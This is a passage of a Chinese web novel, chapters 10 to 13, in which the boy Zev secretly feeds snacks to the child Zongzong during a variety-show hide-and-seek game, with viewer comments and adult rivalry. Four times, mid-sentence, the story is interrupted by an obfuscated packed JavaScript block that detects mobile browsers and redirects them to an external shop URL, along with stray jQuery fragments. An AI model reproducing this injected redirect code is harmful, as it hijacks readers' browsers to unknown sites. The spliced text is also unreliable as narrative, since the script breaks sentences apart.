“我们的场景会很还原,希望大家不要害怕。” 小月亮提问:“为什么还原会害怕?” “会有一些3D效果,丛林场景的还原也比较逼真。你怕吗?” “都是假的,我不怕。”小月亮说。 成深野淡淡:“我会保护你。” 粽粽转过头,觉得这句话有点酷。他捋起自己的卡通小短袖,露出肉乎乎的小臂膀,对Zev说:“我也会保护你。” Zev:“......” 第一轮,布置场景为热带雨林,成深野和小月亮需要隐藏的物品是五根胡萝卜。 他们率先进入了花园临时搭起的神秘棚,粽粽和Zev则在屋里等待。 一半工作人员都跟着进棚子,Zev左右瞥一眼,确认周边没有太多人。 于是绕过人群,走隐蔽路线,把粽粽带到茶几边。 一言不发,拉开了茶几的抽屉。 花花绿绿的零食袋立刻跳出来,各种陌生的包装图样泛着诱人的微光,倒映在粽粽的眼睛里,他左看右看,十分震惊。 “哇塞,你有这么多零食。”粽粽赞美。 同时伸手摸了摸自己的口袋,现在他的存粮只有几块糖,或许这就是主角与炮飞的区别。 Zev站定,观察一眼粽粽,对事情的走向比较满意。 他希望现在粽粽能一口把这些零食全吞了。 但是粽粽好像并没有这个意思:“小天哥哥,我也有一个放零食的抽屉,但是被上了锁,每天只能打开一次,从里面选一样拿出来。吃完才去超市进货,每次我都纠结选饼干还是..” “我可以打开无数次。”Zev说。 被打断的粽粽还张着嘴,像一个标准的吃惊表情包。 “也可以一次性全吃完。”Zev继续。 “哦。”粽粽没说话了。 这个顾傲天有点爱炫耀。 两人站在原地,对着一抽屉的零食,陷入沉默。 Zev伸手拿出一袋,塞进粽粽的怀里:“饼干。” 粽粽伸手接过,认真欣赏了一番,还给Zev:“看起来很好吃。” Zev没有接回来,两人保持这个姿势继续沉默。 眼看粽粽的脑门上缓缓冒出问号,Zev冷酷道:“吃。” “你要吃吗?”粽粽试图揣测。 谁知对方又丢了两个字出来:“你吃。” 粽粽摸不着头脑了,但Zev又如小松树一般立在原地,大有一种不达目的不离开的架势。 于是粽粽飞速思考,良久后,灵光一闪。 他试探地问:“你不会是...想和我分享吗?” Zev没有说话,算是默认。 粽粽默默把饼干放回抽屉,小声说:“小天哥哥,你不能像和小狗说话一样和我说话。” 【我们粽粽有自己的骄傲】 【君子爱吃,取之有道】 【不过粽粽看着饼干的眼神都要拉丝了,这惊人的意志力,谁说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16142756|180439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粽粽不自律】 【哈哈哈这谁乐意啊,别人请客吃饭就对你说一个字吃】 【是不是顾乾给Zev下的指标,Zev看起来目的就是为了让粽粽吃掉】 Zev把饼干拿起来,重新塞进粽粽手里。 粽粽放下。 Zev拿起来,塞回去。 粽粽又放下。 重复n次之后,粽粽感到有点劳累。 Zev依然是那副万年不变的表情,冷酷墨镜遮住大半张脸,露出的薄唇微抿,婴儿肥都变得挺紧致。 粽粽扭过头:“除非你说要和我分享。” “不说。” “那我不要。”粽粽坚定。 在家里他都不会这样粗暴地对小猫说话,他看过电视,驯服那种很凶的大狗的时候才会这样说。 粽粽是个有尊严的小炮飞。 又僵持了会儿,Zev评估一下,没什么感情地开口:“和你分享。” 粽粽感到峰回路转,再次教学:“你说,粽粽,可以和你分享饼干吗?” “......”Zev复读,“粽粽,可以和你分享饼干吗?” 粽粽矜持道:“可以的。” 再接过Zev手里的饼干:“谢谢小天哥哥,你真是太好了。” 他在自己的口袋里摸了摸,从为数不多的几粒糖里拿出一粒,放到Zev的口袋里。 Zev这身衣服是高级定制,在检查过已经熨得一丝不苟后才上身,现在竟然多了一颗平平无奇的水果糖。 甚至是被偏高体温包裹的,已经有一些轻微融化的水果糖。 他拧了下眉,想拿出来。 但粽粽朝他眨眨眼:“小天哥哥,我把我最喜欢的西瓜味给你了。分享是互相的,不用谢。” 大眼睛如同一汪清澈的湖水,仿佛能一眼望到底,闪烁着很少见的真诚与期待。 Zev顿了两秒,停下动作。 “嗯。” 在催促的凝视中,粽粽吃完了饼干。 绕了一圈,Zev又把粽粽带到这个抽屉前,塞给他一袋薯片。 再过了一阵,悄悄拿了个面包。 这回粽粽说什么都不要了。 【尽收眼底,Zev这是把粽粽当啥了】 【笑死,饕餮都不能这样吃吧】 【邪恶Zev和一无所知的小粽粽】 好在导演及时掐表:“好了,藏匿时间到。接下来Zev和粽粽可以出发去寻找了。需要找到五根胡萝卜,可能被完全融入场景,需要考验你们的细心。” Zev趁着粽粽分心,把面包塞到粽粽口袋里。 在导演的带领下,两人来到花园,从大棚入口处进入。 粽粽先“哇”了一声。 里面和外面完全就是两个世界,填充满了大大小小的绿色植物,摆放高低错落有致,若隐若现的曲径通幽,白色水汽在空中氤氲,仿佛真的置身于雨林之中。 粽粽正认真观看,忽然—— 不远处映入眼帘一个巨大的熊藏在树后,等比例缩小的仿真模型看上去极其逼真,正呈现怒吼姿态。 张开的血盆大口还画了口水,和动画片里的憨态可掬一点都不同。 是假的是假的。 粽粽心里默念,捂住眼睛留条缝,一面朝前走,一面习惯性伸出小手,塞到最近的人手中。 “?” Zev发现自己手里多了肉乎乎软绵绵的触感,不由低下头。 “快走呀。”粽粽理直气壮地被牵着,在露出的缝里新奇地四处张望,催促着Zev。 “...松开。” “......”粽粽心虚,“牵一会儿嘛,小天哥哥。” 【请看VCR之《我保护你》】 【虚假的】 【0人知道Zev为什么不甩开】 【谁不想捏粽粽的小手,便宜Zev了】 【Zev是不是以为没人看到】 室内,所有人围坐在镜头画面前,观测着小朋友的一举一动。 开始的浓雾散去,才渐渐露出两个清晰的身影,和谐地手牵手前行。 一个东张西望,一个冷着小脸。 有人轻笑了声。 “笑什么?”顾乾瞥一眼邵晚熠。 “你弟真装。” 11. 第 11 章 邵晚熠有副好皮囊,头发吹成蓬松的流行发型,含情桃花眼似笑非笑,看似专注于屏幕,只是随意地落在顾乾脸上,停留两秒。 “不知道和谁学的。” 顾乾依然是一身没有任何装饰的黑衣黑裤,面无表情地移开目光。 他五官很抗打,即使发茬很短,也没做任何表情,但光在那就是一帧电影画面。 顾乾不说话,其他人想接邵晚熠的话也接不上。 于是尾音就落在了空气里,原本小小的打趣有点尴尬。 但邵晚熠看上去并不在意,表情都一点没变。 【是不是我的错觉,总感觉话里有话】 【其实他俩光同框什么都不干就能欣赏一天了】 【当初大学合照爆一张热搜一张,可不是假的】 【没有照片的这几年过的真是太苦了】 【感谢Zev】 “他们两个真友好,Zev是个小绅士呢。”申茉笑道,换了话题。 大家都朝屏幕看去,只见镜头中的两人还在牵着手走。 只是粽粽的脚步愈发缓慢,仿佛粘上了胶水。 “小天哥哥,我走不动了。” “嗯。” “......” 等了半天的粽粽并没有等到下文,望着Zev的后脑勺。 “我们走慢点好不好。” “不。” “我累了。”粽粽逐渐以龟速挪动,像个小秤砣似地把重心挪到了后头。 感受到巨大阻力的Zev停下脚步,回头看了一眼。 不看还好,这一看粽粽就彻底不动了。 只见粽粽嘴角下抿,往日活泼快乐的小脸失去了光彩,额头上几颗汗珠粘着一撮头发,眉头皱着,像一个圆形苦瓜。 这验证了他的猜想,果然是平常疏于锻炼的懒惰小孩。 Zev松开粽粽的手。 粽粽难以置信,喘着气解释:“我真累了,小天哥哥,每个人擅长领域不一样。我不擅长走路的。” Zev继续前行。 这儿灌木丛生,稍不留神就会消失在视野中。粽粽慌忙迈开腿,跟Zev反而跟得更紧,生怕被丢在此处。 Zev试着加快脚步,发现身后的粽粽竟然也能跟上。 于是Zev走得越来越快。 粽粽努力挥动小手,用上了跑的。 “你可以。”Zev忽然停步,又被粽粽撞了一下,不知想到了什么,在嘴角显露出一小丝藏不住的弧度。 【!又出现了,霸总式微笑】 【哈哈哈粽粽是开启了自动跟随吗,小小一个粘在后面】 【腿都快倒腾出残影了】 【该说不说,如果遛狗的时候小狗不想走了,丢掉狗绳猛跑和这是一个效果】 【Zev是不是想到这个所以笑了】 【可别让粽粽知道】 “你不要耍我,小天哥哥。” 粽粽也察觉到什么,他已经有点生气了。 “在这等我。” Zev简短地说。 这才发现这是个隐蔽的风水宝地。 不仅背靠一颗大树,四周树丛环绕,而且地形甚至偏高,是利于观察的视野。 粽粽被安顿在这里,甚至有个小小的树桩可以坐着。 “那你呢?”粽粽先坐下,摊平小胳膊小腿。 Zev不答,独自前行,去寻找胡萝卜。 留下一个稳重的小身影。 还没反应过来的粽粽望着Zev的背影,呆呆地发了会儿愣。 这就是霸总吗。 半晌后,Zev和粽粽回到室内。 粽粽小脸红扑扑,两条小腿扑腾着跟在后面,手里拿着胡萝卜,不过看上去精神状态良好,还能炫耀地举起胡萝卜。 Zev则独自酷酷地走在前面,仿佛不认识后面的人。 【邵晚熠那句话地含金量还在上升】 【Zev真装】 【不看监控还以为虐待粽粽了,要加强锻炼呀】 【毕竟比较弱小,腿扑腾得频率可能高不少】 【哈哈哈mini粽粽】 “累了吧?” 林雪客接过粽粽手里的胡萝卜,盛坻把他抱了起来。 粽粽趴在盛坻肩膀上,稍作休息。 眼睛颇为崇拜地望着Zev,Zev则深藏功与名,淡定自若。 “你们找到了几个胡萝卜?”成深野和小月亮过来问。 “都找到了,小天哥哥找到的。” 粽粽很高兴地夸道,“小天哥哥超厉害。” Zev微微皱眉,觉得这个陌生的名字有点不那么悦耳。 “但是你们去的时间比较久。”成深野抬起手表。 导演举喇叭:“本组的成绩非常亮眼,五根胡萝卜全部找到,就是耗时有点长。希望接下来的大人组可以力挽狂澜。” 规则是比拼同一组里小朋友和大人加起来的时长。 另一组照例进行藏匿后,本组大人也出发。 粽粽被放在凳子上,端坐在监视器前认真观看,握紧小手准备给两个哥哥加油。 Zev被放在另一个凳子上,抱臂看了会儿,默默下地,走到抽屉边朝口袋里塞了个鼓鼓囊囊的东西,回到座位。 透过黑色墨镜朝四周瞥了一眼,在口袋里摸半天。 稍作等待,悄摸朝盯着屏幕的粽粽嘴里塞了个坚果。 果然如他所料,全神贯注的粽粽吧唧吧唧,几乎没怎么注意地就把坚果给吃完了。 呵呵。 顾乾还想难倒他。 Zev推了推墨镜, 与此同时,顾乾四人正在布景棚里行走。 场景依然是原始森林主题,只是许多细节处都进行了重置。 小朋友的是静态,即使出现大狗熊等猛兽也做了缩小处理。大人则偏向于营造惊险刺激的场景,给以更丰富的体验。 里面的灯光都调暗了一档,原本绿油油像童话的树木瞬间显得有些阴森。 道路也不再清晰可见,而是藤蔓环绕,看上去会有很多未知的陷阱,难怪粽粽会看得如此认真。 盛坻和林雪客礼貌地说:“顾老师邵老师,要不我俩走前面吧。后面安全点。” 邵晚熠外套脱在臂弯上,里面一件毛衣马甲套衬衫,笔直的西装裤,显得身形挺拔,他一笑,看着林雪客:“别了,我看这位不像胆大的样子。” 这双眼睛流光溢彩,银幕上演过不知多少爱情电影,天然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16142757|180439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自带游刃有余的狩猎感。 林雪客年纪轻,被邵晚熠看着,后退几步,躲到了盛坻身边。 “没事的,邵老师。”林雪客说。 邵晚熠仿佛什么都没发生似的转过头:“你们走后面。” 一锤定音。 并且没谦虚没客套,自己走在了顾乾身后。 他们这才发现顾乾早就出发了一段距离,不知是什么时候走的。 黑色高龄羊绒衫衬着没什么表情的脸,背影都透着冷淡。 【养眼】 【邵晚熠这双眼睛真犯规,无意中就撩花撩草的】 【快点走吧,再不走粽粽都被喂饱了】 【这一会儿一个核桃一个腰果的,可别撑着了】 【顾乾肯定没想到Zev还有这种操作】 【也就是遇上粽粽了,换一个人压根成功不了】 盛坻让林雪客走在自己前面,四个人呈现纵队在小路间走着。 他们已经从镜头看过了小朋友的全过程,对于出现的丛林猛兽已经没什么意外。 “这就是刚刚把粽粽吓一跳的那个?这熊也太小了,表情倒是挺可怕。”盛坻打量。 林雪客也停步看了看:“再小也比粽粽高。你等比例放大一下,看到一个比自己高的熊肯定拔腿就跑。” “我跑了你怎么办?” 盛坻一头板栗色头发,笑容干净爽朗,刻意站直,展现他比林雪客高,还比林雪客壮。 “放心吧,就你这头红色头发,熊肯定追着你跑。” 盛坻笑笑,抬手兜了下林雪客的后脑勺示意他继续走。 “难道就灯光暗点,没做什么创新吗?”走着走着,并未出现想象中的危险,逐渐让人放松警惕。 和后面一直熟稔说话的两人不同,前面顾乾和邵晚熠的氛围就沉默许多。 邵晚熠友好地给顾乾提建议:“能不能慢点,我们是个团队,你这步子迈得像后面有鬼追你。” “不是吗?”顾乾淡淡。 “......” “你还是小心...” 话音未落,忽然机关触动,“歘”一声,上面直直地落下一截藤蔓,形状像一条僵直的蛇。 还颇具恐怖意味地在空中抖动,发出簌簌声响。 “!” 屏幕前的粽粽飞快捂住双眼,露出一条小缝。 Zev再次把握住时机,准备把手里的杏仁继续朝粽粽嘴里塞。 但无意看了眼屏幕,正巧看到他哥顾乾后退一步,抵在身后的邵晚熠身上,而邵晚熠并没立刻伸手扶,而是上前一小步,让顾乾靠了个结结实实。 等顾乾站直,才悠哉伸手,在腰间若有若无地贴一下。 大变态。 Zev怒发冲冠。 粽粽正捂着眼,就感到有什么尖尖的东西刺到他的脸,如同被蜜蜂蛰了似地,有一阵短促的疼痛。 “嘶。”他分出一只手摸向脸蛋,“什么在咬我。” Zev低下头,看到手里的杏仁尖戳在粽粽的脸颊上,肉乎乎的脸蛋显得非常Q弹。 抬起来,显出一个小小的红印,中间是锥形小坑,在白皙的皮肤上格外显眼。 “没有。” Zev欲盖弥彰。 12. 第 12 章 粽粽盯着Zev握起来的手,一边捂着自己的脸,一边用圆圆的眼睛充满质疑地凝视。 “这是什么。” Zev用另一只手指屏幕,把粽粽的注意力拉转回去。 真的发生了大事件,只见林雪客踩到了陷阱,其他人正围成一圈商讨如何营救他。 粽粽立刻担忧地皱起眉头,微微前倾,认真地看着。 他一直觉得林雪客哥哥像一瓶淡蓝色的汽水,除了头发颜色之外,五官也不是浓墨重彩的风格,但并不显得寡淡枯燥,而是像汽水泡泡一样甜甜的。 和盛坻哥哥一样好。越相处久越坚定了一定要拯救他们,阻止反目成仇的结局。 现在更是千万不能掉下去。 粽粽在精神上与他们同在,忧心忡忡。 而Zev把杏仁重新拿出来,准备趁着粽粽不注意完成未竟的事宜。 【Zev还妹死心呢】 【哈哈哈哈快放下吧,别投喂了】 【把粽粽当储钱罐玩呢】 申茉拿着杯水路过,看到全神贯注的粽粽,逗了他一句:“这满屏幕的帅哥,难怪看得这么认真。” “姐姐。” 这个词永远让申茉心花怒放,她喝口水继续聊:“粽粽觉得组里哪个哥哥最帅?” “每个哥哥都帅。”粽粽没有挪开目光,“不过我觉得还是顾乾哥哥最帅了,漫画和动画片里都没有见过这么帅的人类。” “嗯。”Zev淡淡。 “这个哥哥也好好看,像油彩漂亮的油画。”粽粽指着邵晚熠。 “呵呵。你该去看眼睛。” “......” 【变脸大师】 【Zev是顾乾毒唯,其他人莫来沾边】 【笑死了,原来粽粽是小颜控】 【早看出来粽粽喜欢看帅哥美女了,每天一眨不眨地犯花痴】 【而且能看出来他最吃顾乾那一类型的颜】 【顾乾颜粉+1】 画面里的人对外界的一切一无所知,正焦头烂额地处理着突发状况。 “这怎么办?” 林雪客陷在泥里,望着被藤蔓缠绕的鞋面,为耽误时间而道歉:“不好意思。” “没事。这陷阱做的还挺逼真。” 邵晚熠皮鞋踏了踏藤蔓,粗壮的绿色弯弯绕绕,很结实。 一看就是导演组经过精心设计,仿佛水草一般勾着人。 “不太好弄断,得把人拔出来。” 经过一番研究,最终下了论断。 邵晚熠慢条斯理地挽袖子,衬衫袖口翻上去,露出一截小臂,黑色手表在腕上熠熠生辉。 从顾乾身边掠过,一副当仁不让的样子对林雪客说:“我抱你。” 林雪客无措,看着过来的邵晚熠手都不敢伸,匆匆回头看向盛坻。 盛坻反应过来,立刻上前一步,抬手开口:“邵…” 没等他说完一个字,邵晚熠的手离林雪客近在咫尺的时候,被另一只手不容分说地握住手腕,动作干净又利落。 那只手骨节分明,力道不小。 邵晚熠没抬头,微微挑眉看着覆盖在自己上方的手。 顾乾没说什么,冷着脸俯下身,一脚踩住藤蔓,稍稍用力,轻松地把林雪客抱上来。 放到盛坻抬起的手里。 依旧没什么表情地瞥了一眼邵晚熠:“走吧。” 邵晚熠愣了一下,勾起抹笑容:“还以为顾老师清心寡欲,怎么抢别人献殷勤的机会。” “爱美之心。”顾乾淡淡。 弹幕变得密密麻麻。 【我勒个去,这是在争风吃醋吗。两人抢一个小爱豆?】 【不至于吧,他俩也是各自领域的佼佼者了,哪里用得着这样】 【震惊】 【看着不像啊,你们看林雪客的表情多惶恐】 【林雪客不是在和盛坻炒CP吗?】 屏幕前的粽粽不怎么认字,他睁大眼睛,集中精力从弹幕缝隙间观察林雪客。 发现小林哥哥已经安然无恙获救时很高兴,举起捏紧的拳头。 正准备欢呼呢,发现嘴不得空。 嚼嚼嚼。 “?” 他一边嚼一边感到奇怪。 嚼嚼嚼,品出一点香香的味道,依照丰富的美食品鉴经验来看,像是坚果仁。 哪里来的,怎么会到嘴巴里。 他疑惑地转向右边,小月亮和成深野和他们父母在一块,和这里有一段距离。 又疑惑地转向左边,发现Zev距离倒是近,正戴着墨镜直视前方,神情淡定。 粽粽目光炯炯地看着,但Zev依然目不斜视。 有蹊跷。 机智的粽粽开始思考,上下打量一番,落在Zev鼓鼓囊囊的口袋上。 “是你给我吃东西了吗?” Zev不语。 【粽粽:直视我】 【粽粽:你敢不敢看我的眼睛】 【哈哈哈哈哈他们好像那个表情包,Zev的眼神坚定得像要入党】 【东窗事发】 【我们小粽粽就是这么一个推理大师】 “谢谢你,小天哥哥。”粽粽没多想,“但下次补药直接放到我的嘴巴里,我需要先看一看。对了,你吃我给你的糖了吗?” Zev的脑海里出现那颗糖。 黏黏的,已经因为体温而融化,有相当一部分已经粘在糖纸上的糖。 “没。”Zev拧起眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16142758|180439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,他从来没有见到过这样不讲究的食品,能够允许它待在自己的口袋里已经是极大宽容。 “你把它吃掉吧,我可以再给你一块。” 粽粽伸手掏口袋,眼神明亮,好像湖泊里落满了星星。 但手心里的糖还是有些许融化,这或许是苹果味,绿绿的,看起来充满色素和添加剂,专门诱骗馋嘴的小孩。 “不必。”Zev拒绝。 那些星星肉眼可见变得黯淡,逐渐沉没在了黑色的湖水中。 “好吧。”粽粽说。 他收拢手心准备要收回去,忽然感到一轻。 Zev取走了那颗糖。 “小天哥哥,好好品尝哦。” 虽然现在口袋里珍藏的糖果所剩无几,但粽粽还是很高兴的。 他希望糖果这种世界上最美好的事物能够唤醒顾傲天内心的善良,以后不要让人流落街头。 另一边小月亮和成深野走到他们这组,来围观情况。 粽粽起身,把位置让给小月亮坐。 Zev也站起来。 “找到了吗?”成深野看着他们的屏幕。 粽粽牢记避让反派原则,收起笑容,公事公办地说:“找到了一个。” 前后反差略大,成深野再次看了粽粽一眼。 一开始,成深野并没有过多关注一小团。 虽说他在这个综艺上并不能像Zev一样横行霸道,但好歹也是个星二代,从小在别人的赞美和羡慕声中长大,受到所有人欢迎。 和素人是有区别的。 只是这个一无所有的路人小孩不崇拜他也就算了,似乎对Zev还挺热络。 “我叫什么名字?”他打算做个实验,提问粽粽。 “特儿。” “他呢?”成深野一指Zev。 “小天哥哥。” 其中差别相当明显,成深野冷静道:“Why?” 粽粽心想难怪这两人以后会是彼此的劲敌,都喜欢和英语较真。 “不好意思,我不会英语,可以说中文吗?”粽粽礼貌道。 “为什么。” “因为我听不懂英语。” “Why的意思就是为什么。” “噢噢,谢谢。”粽粽积累了一个新知识,把它记在了脑海中。从短短的两天节目来看,英语是一门很有必要学习的语言。 “不用谢。”成深野说。 两人简短地结束了对话。 “......” 等走远之后,成深野才意识到不对劲,这都哪儿跟哪。 他望向方才的方向,发现粽粽正继续对着Zev叽叽喳喳,留下圆圆的后脑勺。 “?” 成深野觉得有点意思。 13. 第 13 章 第一轮游戏结束后,大家重新围坐,等待导演揭示分数。 Zev依然拒绝和邵晚熠同屏出现,坐着粽粽的位置。而粽粽则待在盛坻腿上,玩着他们拿回来的胡萝卜。 “各位久等,结果已经出来了。” 导演激情宣布,“藏匿物品的总量为10,只有一组全部找到,另一租则只找到了9个,需要扣去20秒。经过计算,最终两组的结果仅差1分钟。但是失之毫厘,谬以千里,成败往往在瞬息之间。” 粽粽皱起小眉头。 英文听不明白就算了,中文也这么难理解。为什么大家不能都说通用语言。 “谁赢了呀。”他提问。 【粽粽:叽叽咕咕说什么呢】 【粽粽:瞬息是谁】 【他看起来好小一个啊,在盛坻腿上和个小玩偶似的】 【Zev为啥总是占人家座位】 【邪恶Zev】 “看来好奇的小朋友们已经迫不及待地想知道答案了。”导演继续,“其实大家表现得都非常好,但毕竟是我们节目组精心设计的丛林场景,难度系数较高,特别感谢赞助商赞助的道具。” “在丛林之中,我们靠的是勇气与智慧,还有对同伴的信任......” 好奇的小朋友粽粽不想听了。 有种看动画片中间插广告的感觉,他一般会选择换台,不喜欢等来等去的。 认认真真用指头抠胡萝卜上的泥,过了一阵儿,被盛坻的腿颠了颠:“另一组赢了,咱差点。” “好吧。”粽粽心不在焉地点点头。 大喇叭的声音继续回响:“那么下午我们将要进行第二场分组,由获胜队伍中找到胡萝卜数量最多的成深野选择自己下轮是否更换队友。不过需要对方同意才可以。” 所有人看着成深野,等待他做出选择。 “你随便选吧。这个游戏不太难,我觉得我一个人都能完成。”小月亮没有给他负担。 不过前两轮成深野都和小月亮一起合作,磨合出了默契,大多数人觉得他还会保持现状。 只见成深野稍作思考,忽然指向粽粽:“换,选他。” 目光和摄像头唰唰地转动过来,粽粽正低着头,脸颊弧度饱满,和胡萝卜上的泥作斗争。 反倒是Zev先做出反应,偏过一点角度,从墨镜的斜下方盯着粽粽。 他的态度镇定自若,认定粽粽并不会同意更换队友。 经过林雪客一番交流之后,粽粽明白自己被成深野选了。 成深野和他一组的话,那么Zev就会和小月亮一组,看来终于要开始走剧情。 于是点点头,示意自己知道了。 “更换成功。”导演一锤定音。 Zev依然紧盯粽粽,抱臂拧眉,神情严肃。 锐利的视线让粽粽也察觉到一些,疑惑地左右看看,终于锁定方位。 他知道现在Zev的内心一定充满了紧张期待忐忑羞涩欣喜,终于得偿所愿和美丽的小月亮一组了。 于是展开一个发自内心的笑容。 露出排白白的小乳牙,眼神闪闪亮亮。 但Zev没有理会他,转头下了凳子就走了。 跑得也太快了。这么迫不及待。 这让粽粽有点愣神,抿抿小嘴。 “小月亮和Zev先去藏东西吧,粽粽和Dexter在这里等会儿。”导演说。 藏东西的时候两个小朋友不能和大人一起看监视器,粽粽独自坐在一边,托着脸沉思。 成深野站在他旁边,穿着件浅咖色儿童风衣,头发是考究的微分碎盖,不说话的时候五官和气质温文尔雅,像个迷你的韩剧明星。 “粽粽。以后可以带你一起玩。”成深野开口。 粽粽望望他。 成深野带着一点若有若无的笑意。 “一直跟在Zev后面有什么好?我也不比他差。” 粽粽警觉起来,这话语中似乎带着拉拢倾向,难道是想让他站队。他打起十二分精神,认真地听对方继续。 但成深野只是点到为止,就拿出一颗巧克力,放在粽粽面前。 精致的包装流光溢彩,散发着诱人犯罪的气息。 【!资本主义的诱惑】 【就拿这个考验粽粽?】 【一瞬间的眼神骗不了人,承认吧粽粽你被吸引了】 【投其所好,为粽粽量身制定的陷阱】 “请你吃夹心巧克力,粽粽。” 成深野又把巧克力朝粽粽的鼻子靠近,独属于巧克力的醇香变得更加浓郁,像是在午后丝滑的巧克力庄园慢步。 只要粽粽点个头,下一秒这块巧克力就会进入粽粽的嘴巴。 咬一口,里面的夹心迸裂出甜甜的果酱,与醇厚的巧克力交融在一起,回味无穷。 但一切都有代价,这颗巧克力代表着什么也显而易见。如果吃掉他,意味着粽粽要加入成深野的阵营,背叛Zev。 粽粽咽下口水,摇摇头。 “谢谢你,我不要。” “这是哈密瓜味的。”成深野说。 “......” 粽粽好伤心。 难以想象哈密瓜味的夹心巧克力会有多好吃,现在却只能辜负。 “真的不要,特儿。我不会背叛小天哥哥的。”粽粽说,“你这样有点不对。” “你可以考虑,这颗巧克力一直等着你。” 成深野当着粽粽的面,收拢手,把巧克力放进口袋。 【我去,Dexter很会啊】 【屏幕前的你们觉得粽粽会被策反吗】 【哈哈哈哈哈一颗巧克力的诱惑】 【《无间粽》】 两人无言。 等了一阵,Zev和小月亮从外面返回,粽粽跳下来。 成深野紧随其后,站在粽粽旁边,忽然搭话道:“粽粽,刚刚导演说要找什么来着?” “找小雪人。”粽粽告诉他。 成深野笑了下:“我都忘了,你记性真好。” Zev径直从他们身边掠过,并没有看粽粽一眼。 粽粽想说点什么,导演抬起邪恶大手,让粽粽和成深野立刻去寻找。 他不过犹豫一下,就被拔萝卜似地拔离地面,传送到了入口处。 这次的场景是冰雪童话,触目都是茫茫的白色,天地都被冰和雪覆盖,干冰制造的白气缓缓升腾。 粽粽安静地看着,黑葡萄般的大眼睛倒映着雪景,淡定地走进去。 “我以为你会很惊讶。”成深野转头,“你见过很多次雪吗?” “没有。”粽粽冷静,“快走吧。” 他把脑袋朝t恤领口缩了缩,圆圆的小脸被冷色调衬成了暖白,五官倒是更加明晰,唇红齿白,像个小娃娃。 【这还找啥呀,粽粽不就是小雪人吗】 【粽粽怎么不“哇”了】 【粽粽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16142759|180439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看起来兴致不高呀,有点忧郁】 【忧郁粽粽】 【是不是没和Zev一组】 【粽粽也是变脸大师】 粽粽缩着脑袋揣着口袋,稍稍落后成深野一些,淡定行走,到拐弯处,还是偷偷伸出手指头,在覆盖着雪的墙上戳了一下。 触感不对。 他低下头,发现摸了一手泡沫。 原来是假的。 粽粽鼓鼓小脸,抬着自己被弄脏的食指,把剩下四个指头揣进口袋,浅浅地卡在口袋入口。 此刻,Zev正坐在监视器前,和大人们一起观看寻找组的表现。 顾乾在他旁边:“Zev,和别人分享零食了吗?” Zev停顿一下,后脑勺冷酷摇了两下。 他看着屏幕里在成深野身后走着的小身影,毫无表情。 成深野走得太快,懒惰的人肯定跟不上。 “怎么用后脑勺和你哥对话呢?”邵晚熠调侃。 “走开。”Zev后脑勺都没动。 顾乾眉头一拧,想说什么,被邵晚熠抬手制止。 他走到Zev身边,不经意地俯身,用只有两人能听见的音量道: “做朋友是互相的,一段友情总要双方都从中收获些什么才能长久。” Zev没动。 “任何一段关系中你都得付出,不能一味索取。不然别人凭什么要和你当朋友呢?Dexter甚至更温和。还是因为你是顾乾的弟弟?”邵晚熠挑挑眉,“他似乎不是这样的人。” Zev捏紧拳头,眉头微微竖起。 这句话让他彻底生气了,从墨镜怒视邵晚熠。 邵晚熠反而一笑,觉得这小家伙和顾乾太像了。 “你可以反驳我。”他起身离开。 后面的环节里,Zev都很生气。 他一直讨厌别人拿他和顾乾比较。不过从小听到大太多次,早已不到掀起波澜的程度,或许因为这次说话的是邵晚熠,也或许是因为别的什么,让Zev非常不爽。 生起气来的Zev不会给任何人好脸色,又变成了一颗低气压的地雷,三米内没人敢靠近。 他独自坐在沙发上,抱臂坐直。 “你和他说什么了。”顾乾问邵晚熠。 虽然他不惯着,但也很少把Zev惹到这种程度。因为他不会哄。 毕竟才一起生活半年,半年里完整待一天的日子屈指可数,两人性格又像,谁都不低头。 “想让他未雨绸缪一下,失去是很难过的。”邵晚熠叹口气。 顾乾简短:“那你去把他弄好。” “我试试。”邵晚熠顺从。 不到一分钟,就铩羽而归。 “他让我走开。” 顾乾:“......” 连亲哥都拿Zev没办法,屋里的其他人更不敢靠近沙发,一时之间陷入了僵局。 “好累呀。” 